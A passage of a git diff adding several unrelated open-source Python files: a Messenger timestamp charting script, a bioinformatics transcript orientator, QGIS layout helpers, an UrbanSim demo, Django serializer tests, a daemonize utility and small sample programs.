+ "March", + "April", + "May", + "June", + "July", + "Aug", + "Sep", + "Oct", + "Nov", + "Dec" +] + +# Set Day Data Array and Name values. +day = [0] * 7 +day_names = [ + "Monday", + "Tuesday", + "Wednesday", + "Thursday", + "Friday", + "Saturday", + "Sunday" +] + +# Set Time Data Array and Name values. +time = [0] * 24 +time_names = [] +for name in range(24): + if name < 10: + time_names.append("0" + str(name) + ":") + else: + time_names.append(str(name) + ":") +for i in range(len(time_names)): + time_names[i] = time_names[i][:-1] + + +### Setup and Activate Parser/Data Gatherer ### + +# Parse Data while adding to data arrays with regex. +class MessagesParser(HTMLParser): + def handle_data(self, data): + match = re.search( + "(Saturday|Sunday|Monday|Tuesday|Wednesday|Thursday|Friday)(,) " \ + "[0-9]{2} (January|February|March|April|May|June|" \ + "July|August|September|October|November|December) " \ + "[0-9]{4} at [0-9]{2}:[0-9]{2}", data) + if match: + for i in range(12): + if re.search(month_names[i], match.group(0)): + month[i] = month[i] + 1 + for i in range(7): + if re.search(day_names[i], match.group(0)): + day[i] = day[i] + 1 + for i in range(24): + if re.search(time_names[i], match.group(0)): + time[i] = time[i] + 1 + +# Activate Parser on the messenger HTML data file. +file = open("html/messages.htm", 'r') +messages = file.readlines() +parser = MessagesParser() +for i in range(len(messages)): + parser.feed(messages[i]) + + +### Create Graphs ### + +# Bar Graph creater function. +def messages(n_groups, bar_width, x_lim, items, names, + x_label, y_label, title, file_name): + + # Plot Graph. + fig, ax = pyplot.subplots() + index = numpy.arange(n_groups) + rects1 = pyplot.bar(index, items, bar_width) + + # Add texts and lables. + pyplot.xlabel(x_label) + pyplot.ylabel(y_label) + pyplot.title(title) + + # Shape Graph. + pyplot.xticks(index + bar_width/2, names) + pyplot.xlim([min(index) - x_lim, max(index) + x_lim]) + pyplot.tight_layout() + + # Export Graph. + pyplot.savefig(file_name) + + +# Create Bar Graph for messenger month frequency. +messages(12, 0.3, 1, month, month_names, "Month of Message Sent", + "Number of Messages Sent", "Amount of Messages Sent on that Month", + "messages_month.png") + +# Create Bar Graph for messenger dag frequency. +messages(7, 0.35, 0.5, day, day_names, "Day of Message Sent", + "Number of Messages Sent", "Amount of Messages Sent on Days of the Week", + "messages_days.png") + +# Create Bar Graph for messenger time frequency. +messages(24, 0.20, 0.5, time, time_names, "Time of message sent", + "Number of messages sent", "Amount of Messages Sent on Time of the Day", + "messages_times.png") + diff --git a/pool/shard009/Python/0080520_transcript_orientations.py b/pool/shard009/Python/0080520_transcript_orientations.py new file mode 100644 index 0000000000000000000000000000000000000000..921494c4bc3bfee3a8b7360cc8536ad6becd5b7a --- /dev/null +++ b/pool/shard009/Python/0080520_transcript_orientations.py @@ -0,0 +1,171 @@ +# Copyright 2012 Jose Blanca, Peio Ziarsolo, COMAV-Univ. Politecnica Valencia +# This file is part of ngs_crumbs. +# ngs_crumbs is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as +# published by the Free Software Foundation, either version 3 of the +# License, or (at your option) any later version. + +# ngs_crumbs is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +# You should have received a copy of the GNU General Public License +# along with ngs_crumbs. If not, see . + + +from itertools import compress +import os.path + +from crumbs.seq.annotation import (PolyaAnnotator, EstscanOrfAnnotator, + BlastAnnotator) +from crumbs.seq.utils.seq_utils import append_to_description +from crumbs.utils.tags import SEQRECORD +from crumbs.seq.seq import SeqWrapper + + +class TranscriptOrientator(object): + '''This class orientates the transcripts + + It can take into account: poly-A, ORFs and blast matches''' + + def __init__(self, polya_params=None, estscan_params=None, + blast_params=None): + self._polya_params = polya_params + self._estscan_params = estscan_params + self._blast_params = blast_params + + self._annotators = self._create_pipeline() + + def _create_pipeline(self): + 'It creates the annotation pipeline' + # pylint: disable=W0142 + annotators = [] + if self._polya_params: + annotators.append({'name': 'polyA'}) + if self._estscan_params: + annotators.append({'name': 'estscan_orf'}) + if self._blast_params: + for blast_param in self._blast_params: + annotators.append({'name': 'blast', + 'blastdb': blast_param['blastdb']}) + return annotators + + @staticmethod + def _select_features_by_type(features, kind): + 'it selects features by type' + return [feat for feat in features if feat.type == kind] + + def _polya_selector(self, features): + 'It selects the polya' + # pylint: disable=W0613 + feats = self._select_features_by_type(features, 'polyA_sequence') + if feats: + return feats[0] + + def _orf_selector(self, features): + 'it returns the longest feature' + # pylint: disable=W0613 + features = self._select_features_by_type(features, 'ORF') + if not features: + return None + + lengths = [len(feat) for feat in features] + return features[lengths.index(max(lengths))] + + def _match_part_selector(self, features, blastdb): + 'it return the match_part with the best e-value' + blastdb = os.path.basename(blastdb) + features = self._select_features_by_type(features, 'match_part') + features = [f for f in features if f.qualifiers['blastdb'] == blastdb] + + if not features: + return None + scores = [feat.qualifiers['score'] for feat in features] + return features[scores.index(min(scores))] + + def _guess_orientations(self, seqs, annotator_name, blastdb): + '''It returns the orientation of the annotated transcripts.''' + orientations = [] + for seq in seqs: + if annotator_name == 'polyA': + feature = self._polya_selector(seq.object.features) + elif annotator_name == 'estscan_orf': + feature = self._orf_selector(seq.object.features) + elif annotator_name == 'blast': + feature = self._match_part_selector(seq.object.features, + blastdb=blastdb) + else: + raise NotImplementedError('This annotator type not supported') + + orientation = None if feature is None else feature.strand + orientations.append(orientation) + return orientations + + def _get_annotator(self, annotator_name, blastdb): + 'It prepares and returns the annotator' + if annotator_name == 'polyA': + annotator = PolyaAnnotator(**self._polya_params) + elif annotator_name == 'estscan_orf': + annotator = EstscanOrfAnnotator(**self._estscan_params) + elif annotator_name == 'blast': + blast_param = None + for blast_param_ in self._blast_params: + if blastdb == blast_param_['blastdb']: + blast_param = blast_param_ + break + annotator = BlastAnnotator(**blast_param) + else: + raise NotImplementedError('This annotator type not supported') + return annotator + + def __call__(self, seqs): + 'It orientates seqs, that should have a SeqRecord in it' + orientations = None + orientation_log = [None] * len(seqs) + + for annotator in self._annotators: + if orientations: + to_annalyze = [not o for o in orientations] + seqs_to_analyze = list(compress(seqs, to_annalyze)) + else: + orientations = [None] * len(seqs) + seqs_to_analyze = seqs + + annotator_name = annotator['name'] + blastdb = annotator.get('blastdb', None) + annotator = self._get_annotator(annotator_name, blastdb) + + annot_seqrecords = annotator(seqs_to_analyze) + annot_strands = self._guess_orientations(annot_seqrecords, + annotator_name, + blastdb=blastdb) + + if blastdb: + annotator_name += ' ' + os.path.basename(blastdb) + + analyzed_seqs_index = 0 + for index, orientation in enumerate(orientations): + if orientation is None: + orientations[index] = annot_strands[analyzed_seqs_index] + if annot_strands[analyzed_seqs_index] == -1: # reverse + orientation_log[index] = annotator_name + analyzed_seqs_index += 1 + # Now we reverse the seqs that we have guess that are reversed + reorientated_seqrecords = [] + for orientation, seq, reason in zip(orientations, seqs, + orientation_log): + if orientation == -1: + rev_seqrecord = seq.object.reverse_complement(id=True, + description=True, + annotations=True, + features=True, + dbxrefs=True, + name=True) + seq = SeqWrapper(SEQRECORD, rev_seqrecord, None) + # we mark the reason why it has been reversed + text = '(reversed because of: {})'.format(reason) + append_to_description(seq, text) + + reorientated_seqrecords.append(seq) + return reorientated_seqrecords diff --git a/pool/shard009/Python/0080521_layout_utils.py b/pool/shard009/Python/0080521_layout_utils.py new file mode 100644 index 0000000000000000000000000000000000000000..a1e08ddae14ef49dc23bd4901e27cc78b1ef6683 --- /dev/null +++ b/pool/shard009/Python/0080521_layout_utils.py @@ -0,0 +1,109 @@ +# /*************************************************************************** +# * * +# * This program is free software; you can redistribute it and/or modify * +# * it under the terms of the GNU General Public License as published by * +# * the Free Software Foundation; either version 2 of the License, or * +# * (at your option) any later version. * +# * * +# ***************************************************************************/ + +""" +Contains utility functions for working with layouts +""" +from typing import Optional + +from qgis.PyQt.QtCore import ( + QFile, + QIODevice +) +from qgis.PyQt.QtXml import QDomDocument +from qgis.core import ( + QgsLayout, + QgsReadWriteContext, + QgsLayoutItem +) + + +class LayoutUtils: + DATA_SOURCE_PROPERTY = 'variable_stdm_data_source' + DATA_CATEGORY_PROPERTY = 'variable_stdm_data_category' + REFERENCED_TABLE_PROPERTY = 'variable_stdm_referenced_table' + + @staticmethod + def get_stdm_data_source_for_layout(layout: QgsLayout) -> Optional[str]: + return layout.customProperty(LayoutUtils.DATA_SOURCE_PROPERTY, None) + + @staticmethod + def set_stdm_data_source_for_layout(layout: QgsLayout, source: Optional[str]): + layout.setCustomProperty(LayoutUtils.DATA_SOURCE_PROPERTY, source) + + @staticmethod + def get_stdm_data_category_for_layout(layout: QgsLayout) -> Optional[str]: + return layout.customProperty(LayoutUtils.DATA_CATEGORY_PROPERTY, None) + + @staticmethod + def set_stdm_data_category_for_layout(layout: QgsLayout, category: Optional[str]): + layout.setCustomProperty(LayoutUtils.DATA_CATEGORY_PROPERTY, category) + + @staticmethod + def get_stdm_referenced_table_for_layout(layout: QgsLayout) -> Optional[str]: + return layout.customProperty(LayoutUtils.REFERENCED_TABLE_PROPERTY, None) + + @staticmethod + def set_stdm_referenced_table_for_layout(layout: QgsLayout, table: Optional[str]): + layout.setCustomProperty(LayoutUtils.REFERENCED_TABLE_PROPERTY, table) + + @staticmethod + def load_template_into_layout(layout: QgsLayout, file_path: str): + """ + Loads a document template into the view and updates the necessary STDM-related composer items. + """ + copy_file = file_path.replace('sdt', 'cpy') + + # remove existing copy file + if QFile.exists(copy_file): + copy_template = QFile(copy_file) + copy_template.remove() + + orig_template_file = QFile(file_path) + + layout.setCustomProperty('variable_template_path', file_path) + + # make a copy of the original + orig_template_file.copy(copy_file) + + # work with copy + template_file = QFile(copy_file) + + if not template_file.open(QIODevice.ReadOnly): + raise IOError(template_file.errorString()) + + template_doc = QDomDocument() + if template_doc.setContent(template_file): + # First load vector layers for the table definitions in the config + # collection before loading the composition from file. + + # table_config_collection = TableConfigurationCollection.create(template_doc) + + # Load items into the composition and configure STDM data controls + context = QgsReadWriteContext() + try: + layout.loadFromTemplate(template_doc, context) + except: + pass + + LayoutUtils.sync_ids_with_uuids(layout) + + template_file.close() + + @staticmethod + def sync_ids_with_uuids(layout: QgsLayout): + """ + Matches IDs of custom STDM items with the corresponding UUIDs. This + is applied when loading existing templates so that the saved + document contains a matching pair of ID and UUID for each composer + item. + """ + items = [i for i in layout.items() if isinstance(i, QgsLayoutItem)] + for i in items: + i.setId(i.uuid()) diff --git a/pool/shard009/Python/0080522_demo.py b/pool/shard009/Python/0080522_demo.py new file mode 100644 index 0000000000000000000000000000000000000000..d0ebdb6c210cdcc45bbb36fac2f19d94dc102d5c --- /dev/null +++ b/pool/shard009/Python/0080522_demo.py @@ -0,0 +1,191 @@ +# Opus/UrbanSim urban simulation software. +# Copyright (C) 2005-2009 University of Washington +# See opus_core/LICENSE + + +import os + +from numpy.random import seed +from numpy import ones, array, where +from random import sample + +from opus_core.coefficients import Coefficients +from opus_core.equation_specification import EquationSpecification +from opus_core.resources import Resources +from opus_core.storage_factory import StorageFactory +from opus_core.session_configuration import SessionConfiguration + +from urbansim.datasets.household_dataset import HouseholdDataset +from urbansim.datasets.gridcell_dataset import GridcellDataset +from urbansim.datasets.zone_dataset import ZoneDataset +from urbansim.datasets.job_dataset import JobDataset +from urbansim.models.household_location_choice_model_creator import HouseholdLocationChoiceModelCreator + +from opus_core.database_management.database_server import DatabaseServer +from opus_core.database_management.configurations.scenario_database_configuration import ScenarioDatabaseConfiguration + + +# Datasets +########## +# agents from householdset.tab +agents = HouseholdDataset(in_storage = StorageFactory().get_storage('tab_storage', storage_location='.'), + in_table_name = "householdset", id_name="agent_id") + +agents.summary() +agents.get_attribute("income") +agents.plot_histogram("income", bins = 10) +agents.r_histogram("income") +agents.r_scatter("income", "persons") + +# gridcells from PSRC +locations_psrc = GridcellDataset(in_storage = StorageFactory().get_storage('flt_storage', + storage_location = "/home/hana/bandera/urbansim/data/GPSRC"), + in_table_name = "gc") +locations_psrc.summary() +locations_psrc.plot_histogram("distance_to_highway", bins = 15) +locations_psrc.r_image("distance_to_highway") +locations_psrc.plot_map("distance_to_highway") + +locations_psrc.compute_variables("urbansim.gridcell.ln_total_land_value") +locations_psrc.plot_map("ln_total_land_value") + +# Models +######## + +#HLCM + +# locations from gridcellset.tab +locations= GridcellDataset(in_storage = StorageFactory().get_storage('tab_storage', storage_location = "."), + in_table_name = "gridcellset", id_name="location") +locations.summary() + +seed(1) + +coefficients = Coefficients(names=("costcoef", ), values=(-0.01,)) + +specification = EquationSpecification(variables=("gridcell.cost", ), + coefficients=("costcoef", )) + +hlcm = HouseholdLocationChoiceModelCreator().get_model( + location_set = locations, + sampler=None, + utilities="opus_core.linear_utilities", + probabilities="opus_core.mnl_probabilities", + choices="opus_core.random_choices_from_index", + compute_capacity_flag=False) + +agents.get_attribute("location") +results = hlcm.run(specification, coefficients, agents) +agents.get_attribute("location") +hlcm.upc_sequence.plot_choice_histograms( + capacity=locations.get_attribute("vacant_units")) +hlcm.upc_sequence.show_plots() + +coef, results = hlcm.estimate(specification, agents) + +results = hlcm.run(specification, coef, agents) +hlcm.upc_sequence.plot_choice_histograms( + capacity=locations.get_attribute("vacant_units")) +hlcm.upc_sequence.show_plots() + +hlcm2 = HouseholdLocationChoiceModelCreator().get_model( + location_set = locations, + sampler=None, + utilities="opus_core.linear_utilities", + probabilities="opus_core.mnl_probabilities", + choices="urbansim.lottery_choices", + compute_capacity_flag=True, + run_config=Resources({"capacity_string":"gridcell.vacant_units"})) + +agents.set_values_of_one_attribute("location", -1*ones(agents.size())) +agents.get_attribute("location") + +results = hlcm2.run(specification, coefficients, agents) +agents.get_attribute("location") +hlcm2.upc_sequence.plot_choice_histograms( + capacity=locations.get_attribute("vacant_units")) +hlcm2.upc_sequence.show_plots() +coef, results = hlcm2.estimate(specification, agents) + +#HLCM on PSRC +# households from PSRC +agents_psrc = HouseholdDataset(in_storage = StorageFactory().get_storage('flt_storage', + storage_location = "/home/hana/bandera/urbansim/data/GPSRC"), + in_table_name = "hh") +agents_psrc.summary() + +dbcon = [] + +config = ScenarioDatabaseConfiguration() +server = DatabaseServer(config) +db = server.get_database('PSRC_2000_baseyear') + +storage = StorageFactory().get_storage( + 'sql_storage', + storage_location = db) + +coefficients = Coefficients(in_storage=storage) +coefficients.load(in_table_name="household_location_choice_model_coefficients") +specification = EquationSpecification(in_storage=storage) +specification.load(in_table_name="household_location_choice_model_specification") +specification.get_variable_names() + + +hlcm_psrc = HouseholdLocationChoiceModelCreator().get_model( + location_set = locations_psrc, + sampler = "opus_core.samplers.weighted_sampler", + sample_size_locations=10, + choices="urbansim.lottery_choices", + compute_capacity_flag=True, + run_config=Resources({"capacity_string":"urbansim.gridcell.vacant_residential_units"})) + +result = hlcm_psrc.run(specification, coefficients, agents_psrc, + agents_index=sample(range(agents_psrc.size()), 500), + debuglevel=4) +# run it again + +idx = where(agents_psrc.get_attribute("grid_id")>0)[0] +idx.size +coef, result = hlcm_psrc.estimate(specification, agents_psrc, + agents_index=idx, + estimate_config=Resources({"estimation_size_agents":0.01}), + debuglevel=4) + +result = hlcm_psrc.run(specification, coef, agents_psrc, + agents_index=sample(range(agents_psrc.size()), 500), + debuglevel=4) + +storage = StorageFactory().get_storage( + 'sql_storage', + storage_location = db) + +zones_psrc = ZoneDataset(in_storage = storage) +hlcm_psrc_zones = HouseholdLocationChoiceModelCreator().get_model( + location_set = zones_psrc, + sampler = "opus_core.samplers.weighted_sampler", + sample_size_locations=10, + choices="opus_core.random_choices_from_index", + compute_capacity_flag=False, + estimate_config=Resources({"weights_for_estimation_string":None})) + +specification = EquationSpecification(variables=( + "urbansim.zone.number_of_jobs", + "urbansim.household.income"), + coefficients=( + "NOJ", "INC")) + +agents_psrc.compute_variables(["urbansim.household.zone_id"], + resources=Resources({"gridcell":locations_psrc})) +jobs_psrc = JobDataset(in_storage = StorageFactory().get_storage('flt_storage', + storage_location = "/home/hana/urbansim/data/GPSRC"), + in_table_name = "jobs") +coef, result = hlcm_psrc_zones.estimate(specification, agents_psrc, + agents_index=idx, + estimate_config=Resources({"estimation_size_agents":0.01}), + data_objects={"job":jobs_psrc, "gridcell":locations_psrc}, + debuglevel=4) + +result = hlcm_psrc_zones.run(specification, coef, agents_psrc, + agents_index=array(sample(range(agents_psrc.size()), 500)), + data_objects={"job":jobs_psrc, "gridcell":locations_psrc}, + debuglevel=4) \ No newline at end of file diff --git a/pool/shard009/Python/0080525_test_data_objects.py b/pool/shard009/Python/0080525_test_data_objects.py new file mode 100644 index 0000000000000000000000000000000000000000..8895ee5a79853d6b62d70b2e95859bdf40ecc0e6 --- /dev/null +++ b/pool/shard009/Python/0080525_test_data_objects.py @@ -0,0 +1,187 @@ +import copy +import uuid +from rest_framework.serializers import ValidationError +from django.test import TestCase + +from . import fixtures, get_mock_context +from api.serializers.data_objects import DataObjectSerializer, \ + FileResourceSerializer +from api.models.data_objects import DataObject + + +class TestDataObjectSerializer(TestCase): + + def testCreate_file(self): + data = fixtures.data_objects.file_data_object + s = DataObjectSerializer(data=data) + s.is_valid(raise_exception=True) + data_object = s.save() + self.assertEqual(data_object.file_resource.filename, + data['value']['filename']) + + def testCreate_countQueries(self): + data = fixtures.data_objects.file_data_object + s = DataObjectSerializer(data=data) + s.is_valid(raise_exception=True) + self.assertNumQueries(4, lambda: s.save()) + + def testRender_file(self): + file_data = fixtures.data_objects.file_data_object['value'] + data_object = DataObject.create_and_initialize_file_resource(**file_data) + s = DataObjectSerializer(data_object, + context=get_mock_context()) + rendered_data = s.data + value = rendered_data['value'] + self.assertEqual(value['filename'], file_data['filename']) + self.assertEqual(value['md5'], file_data['md5']) + self.assertEqual(value['source_type'], file_data['source_type']) + self.assertEqual(value['import_comments'], file_data['import_comments']) + self.assertEqual(value['imported_from_url'], file_data['imported_from_url']) + + def testRoundTrip_file(self): + file_data = fixtures.data_objects.file_data_object['value'] + data_object = DataObject.create_and_initialize_file_resource(**file_data) + s = DataObjectSerializer(data_object, + context=get_mock_context()) + rendered_1 = s.data + + # update UUID to avoid collision + input_2 = copy.deepcopy(rendered_1) + input_2['uuid'] = str(uuid.uuid4()) + s = DataObjectSerializer(data=input_2) + s.is_valid(raise_exception=True) + data_object = s.save() + s = DataObjectSerializer(data_object, + context=get_mock_context()) + rendered_2 = s.data + + self.assertEqual(rendered_1['type'], + rendered_2['type']) + self.assertEqual(rendered_1['datetime_created'], + rendered_2['datetime_created']) + self.assertNotEqual(rendered_1['uuid'], + rendered_2['uuid']) + self.assertNotEqual(rendered_1['url'], + rendered_2['url']) + self.assertEqual(rendered_1['value']['filename'], + rendered_2['value']['filename']) + self.assertEqual(rendered_1['value']['md5'], + rendered_2['value']['md5']) + self.assertEqual(rendered_1['value']['import_comments'], + rendered_2['value']['import_comments']) + self.assertEqual(rendered_1['value']['imported_from_url'], + rendered_2['value']['imported_from_url']) + self.assertEqual(rendered_1['value']['upload_status'], + rendered_2['value']['upload_status']) + self.assertEqual(rendered_1['value']['source_type'], + rendered_2['value']['source_type']) + self.assertEqual(rendered_1['value']['file_url'], + rendered_2['value']['file_url']) + + def testCreate_AlreadyExists(self): + file_data = copy.deepcopy(fixtures.data_objects.file_data_object)['value'] + data_object = DataObject.create_and_initialize_file_resource(**file_data) + s = DataObjectSerializer(data_object, + context=get_mock_context()) + rendered_1 = s.data + + data_object_count_before = DataObject.objects.count() + s = DataObjectSerializer(data=rendered_1) + s.is_valid(raise_exception=True) + data_object = s.save() + + # Verify that no new object was created + data_object_count_after = DataObject.objects.count() + self.assertEqual(data_object_count_before, data_object_count_after) + + def testCreate_ErrorAlreadyExistsWithMismatch(self): + file_data = copy.deepcopy(fixtures.data_objects.file_data_object)['value'] + data_object = DataObject.create_and_initialize_file_resource(**file_data) + s = DataObjectSerializer(data_object, + context=get_mock_context()) + data_object_count_before = DataObject.objects.count() + + rendered_1 = s.data + rendered_1['value']['md5'] = '192f08c86f675deca469ea50ffac38e0' + s = DataObjectSerializer(data=rendered_1) + with self.assertRaises(ValidationError): + s.is_valid(raise_exception=True) + data_object = s.save() + + # Verify that no new object was created + data_object_count_after = DataObject.objects.count() + self.assertEqual(data_object_count_before, data_object_count_after) + + def testCreate_noDroolOnFail(self): + file_data = copy.deepcopy(fixtures.data_objects.file_data_object) + file_data['value']['md5'] = 'invalid_md5' + + data_object_count_before = DataObject.objects.count() + s = DataObjectSerializer(data=file_data) + s.is_valid(raise_exception=True) + with self.assertRaises(ValidationError): + m = s.save() + data_object_count_after = DataObject.objects.count() + + self.assertEqual(data_object_count_before, data_object_count_after) + + data_object_fixtures = [ + copy.deepcopy(fixtures.data_objects.string_data_object), + copy.deepcopy(fixtures.data_objects.boolean_data_object), + copy.deepcopy(fixtures.data_objects.float_data_object), + copy.deepcopy(fixtures.data_objects.integer_data_object) + ] + + def testCreate_nonFileTypes(self): + for data in self.data_object_fixtures: + s = DataObjectSerializer(data=data) + s.is_valid(raise_exception=True) + data_object = s.save() + self.assertEqual(data_object.value, data['value']) + + rendered_data = DataObjectSerializer( + data_object, context=get_mock_context()).data + self.assertEqual(data_object.value, rendered_data['value']) + + def testRoundTrip_nonFileTypes(self): + for data in self.data_object_fixtures: + s1 = DataObjectSerializer(data=data) + s1.is_valid(raise_exception=True) + data_object_1 = s1.save() + self.assertEqual(data_object_1.value, data['value']) + rendered_data = DataObjectSerializer( + data_object_1, context=get_mock_context()).data + + # Update UUID to avoid collision + rendered_data['uuid'] = uuid.uuid4() + s2 = DataObjectSerializer(data=rendered_data) + s2.is_valid(raise_exception=True) + data_object_2 = s2.save() + self.assertEqual(data_object_1.value, data_object_2.value) + +def TestDataObjectUpdateSerializer(TestCase): + + def testUpdateUploadStatus(self): + file_data = fixtures.data_objects.file_data_object['value'] + data_object = DataObject.create_and_initialize_file_resource(**file_data) + s = DataObjectSerializer(data_object, + context=get_mock_context()) + s.save() + + s2 = DataObjectUpdateSerializer(data_object) + s2.update( + data_object, {'value': {'upload_status': 'error'}}) + self.assertEqual(s2.data['value']['upload_status'], 'error') + + + def testUpdateProtectedValue(self): + file_data = fixtures.data_objects.file_data_object['value'] + data_object = DataObject.create_and_initialize_file_resource(**file_data) + s = DataObjectSerializer(data_object, + context=get_mock_context()) + s.save() + + s2 = DataObjectUpdateSerializer(data_object) + with self.assertRaises(ValidationError): + s2.update( + data_object, {'type': 'string'}) diff --git a/pool/shard009/Python/0080526_base.py b/pool/shard009/Python/0080526_base.py new file mode 100644 index 0000000000000000000000000000000000000000..6d44bfff31545a1f8896841733ae3a92d8f5c181 --- /dev/null +++ b/pool/shard009/Python/0080526_base.py @@ -0,0 +1,111 @@ +from __future__ import unicode_literals +from webfriend.scripting.scope import Scope +import inspect +import importlib + + +class CommandProxy(object): + qualifier = None + doc_name = None + default_qualifier = 'core' + default_method_name = 'default' + + enabled_proxies = [ + 'cookies', + 'core', + 'file', + 'fmt', + 'page', + 'utils', + 'vars', + ] + + def __init__(self, browser, environment=None, scope=None): + self.browser = browser + self.environment = environment + self.scope = (scope or Scope()) + self._tab = None + + @property + def tab(self): + if self._tab is None: + return self.browser.default + else: + try: + return self.browser.tabs[self._tab] + except KeyError: + raise KeyError("Could not retrieve unknown tab '{}'".format(self._tab)) + + def __contains__(self, local_command_name): + try: + if local_command_name == self.as_qualifier(): + return callable(getattr(self, self.default_method_name)) + else: + return callable(getattr(self, local_command_name)) + except AttributeError: + pass + + return False + + def __getitem__(self, local_command_name): + if local_command_name == self.as_qualifier(): + return getattr(self, self.default_method_name) + else: + return getattr(self, local_command_name) + + def has_default(self): + return (self.as_qualifier() in self) + + @classmethod + def get_all_proxies(cls): + proxies = [] + for proxy_module in cls.enabled_proxies: + module = importlib.import_module('webfriend.scripting.commands.{}'.format( + proxy_module + )) + + members = inspect.getmembers(module, inspect.isclass) + + for subcls in members: + if issubclass(subcls[1], CommandProxy) and subcls[1] is not CommandProxy: + proxies.append((subcls[1].as_qualifier(), subcls[1])) + + return proxies + + @classmethod + def get_command_names(cls): + names = set() + + for name in dir(cls): + # underscored items are not commands + if name.startswith('_'): + continue + + # methods inherited from CommandProxy are not commands + if name in dir(CommandProxy): + continue + + if callable(getattr(cls, name)): + if len(cls.as_qualifier()): + if cls.as_qualifier() == cls.default_qualifier: + names.add(name) + elif name == cls.default_method_name: + names.add(cls.as_qualifier()) + else: + names.add(cls.qualify(name)) + + return names + + @classmethod + def qualify(cls, name): + if name == cls.as_qualifier(): + return name + else: + return '{}::{}'.format(cls.as_qualifier(), name) + + @classmethod + def as_qualifier(cls): + if cls.qualifier is not None: + return cls.qualifier + + return cls.__name__.split('.')[-1].replace('Proxy', '').lower() diff --git a/pool/shard009/Python/0080531_daemon.py b/pool/shard009/Python/0080531_daemon.py new file mode 100644 index 0000000000000000000000000000000000000000..ff07752d4972cd79db5b2d933cb56ea2c46930da --- /dev/null +++ b/pool/shard009/Python/0080531_daemon.py @@ -0,0 +1,92 @@ +# -*- coding: utf-8 -*- +# +# Copyright (C)2006-2009 Edgewall Software +# All rights reserved. +# +# This software is licensed as described in the file COPYING, which +# you should have received as part of this distribution. The terms +# are also available at http://trac.edgewall.org/wiki/TracLicense. +# +# This software consists of voluntary contributions made by many +# individuals. For the exact contribution history, see the revision +# history and logs, available at http://trac.edgewall.org/log/. + +import atexit +import errno +import os +import signal +import sys + +def daemonize(pidfile=None, progname=None, stdin='/dev/null', + stdout='/dev/null', stderr='/dev/null', umask=022): + """Fork a daemon process.""" + + if pidfile: + # Check whether the pid file already exists and refers to a still + # process running + pidfile = os.path.abspath(pidfile) + if os.path.exists(pidfile): + fileobj = open(pidfile) + try: + try: + pid = int(fileobj.read()) + except ValueError: + sys.exit('Invalid PID in file %s' % pidfile) + finally: + fileobj.close() + + try: # signal the process to see if it is still running + os.kill(pid, 0) + if not progname: + progname = os.path.basename(sys.argv[0]) + sys.exit('%s is already running with pid %s' % (progname, pid)) + except OSError, e: + if e.errno != errno.ESRCH: + raise + + # Perform first fork + pid = os.fork() + if pid > 0: + sys.exit(0) # exit first parent + + # Decouple from parent environment + os.chdir('/') + os.umask(umask) + os.setsid() + + # Perform second fork + pid = os.fork() + if pid > 0: + sys.exit(0) # exit second parent + + # The process is now daemonized, redirect standard file descriptors + for stream in sys.stdout, sys.stderr: + stream.flush() + stdin = open(stdin, 'r') + stdout = open(stdout, 'a+') + stderr = open(stderr, 'a+', 0) + os.dup2(stdin.fileno(), sys.stdin.fileno()) + os.dup2(stdout.fileno(), sys.stdout.fileno()) + os.dup2(stderr.fileno(), sys.stderr.fileno()) + + if pidfile: + # Register signal handlers to ensure atexit hooks are called on exit + for signum in [signal.SIGTERM, signal.SIGHUP]: + signal.signal(signum, handle_signal) + + # Create/update the pid file, and register a hook to remove it when the + # process exits + def remove_pidfile(): + if os.path.exists(pidfile): + os.remove(pidfile) + atexit.register(remove_pidfile) + fileobj = open(pidfile, 'w') + try: + fileobj.write(str(os.getpid())) + finally: + fileobj.close() + + +def handle_signal(signum, frame): + """Handle signals sent to the daemonized process.""" + sys.exit() diff --git a/pool/shard009/Python/0080535_info_ifaces.py b/pool/shard009/Python/0080535_info_ifaces.py new file mode 100644 index 0000000000000000000000000000000000000000..dc202b73b55221402d79618c7e5715e2ed8f140d --- /dev/null +++ b/pool/shard009/Python/0080535_info_ifaces.py @@ -0,0 +1,34 @@ +#!/usr/bin/python + +# Author: Alfredo Miranda +# E-mail: alfredocdmiranda@gmail.com +# Date: 03/01/2015 +# +# This is a sample code to pyIface, which lists NICs on computer and +# show information about them. + +import pynic + +list_interfaces = pynic.get_list_interfaces() + +for pos, i in enumerate(list_interfaces): + print("{0} - {1}".format(pos, i)) + +opt = int(input("Choose the interface: ")) + +print("########## Interface Info ##########") +iface = pynic.Iface.get_interface(list_interfaces[opt]) + +print("Name: {0}".format(iface.name)) +print("IPv4: {0}".format(iface.inet_addr)) +print("IPv6: {0}".format(iface.inet6_addr)) +print("MAC: {0}".format(iface.hw_addr)) +print("Broadcast: {0}".format(iface.broad_addr)) +print("Netmask: {0}".format(iface.inet_mask)) +print("Netmask v6: {0}".format(iface.inet6_mask)) +print("Running: {0}".format(iface.running)) +print("Up: {0}".format(iface.updown)) +print("TX bytes: {0} bytes".format(iface.tx_bytes)) +print("RX bytes: {0} bytes".format(iface.rx_bytes)) +print("TX packets: {0} packets".format(iface.tx_packets)) +print("RX packets: {0} packets".format(iface.rx_packets)) diff --git a/pool/shard009/Python/0080537_main.py b/pool/shard009/Python/0080537_main.py new file mode 100644 index 0000000000000000000000000000000000000000..08a3baed2ecb0b41929f64c3b82f9451b4f0c05a --- /dev/null +++ b/pool/shard009/Python/0080537_main.py @@ -0,0 +1,87 @@ +# coding=utf-8 +""" +Ocean is a n1 x n2 grid. + +Goals: + Print the grid of the ocean using ^ for empty cells + Add the ships and print them as X's + Let the user fire shots at coordinates and mark on map + Determin if a shot hit a ship + Determine if entire ship has been shot. + Determine if all ships have been shot. + +User enters coordinate and finds out if they hit a ship and sank it. +""" +# +# +# THIS IS A SOLVED SOLUTION. DON'T EDIT. +# +# If this is an interview, don't read this until you've solved your version. +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# level 1 +def run(): + ocean = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]] + ships = [[(0, 0), (0, 1)], [(2, 2), (2, 3)]] + some_ship = [] + for ship in ships: + for coordinate in ship: + some_ship.append(coordinate) + for row_id, row in enumerate(ocean): + for column_id, column in enumerate(row): + if (row_id, column_id) in some_ship: + print("X", end="") + else: + print("^", end="") + print() + +# level 2 + + +run() diff --git a/pool/shard009/Python/0080540_sflen.py b/pool/shard009/Python/0080540_sflen.py new file 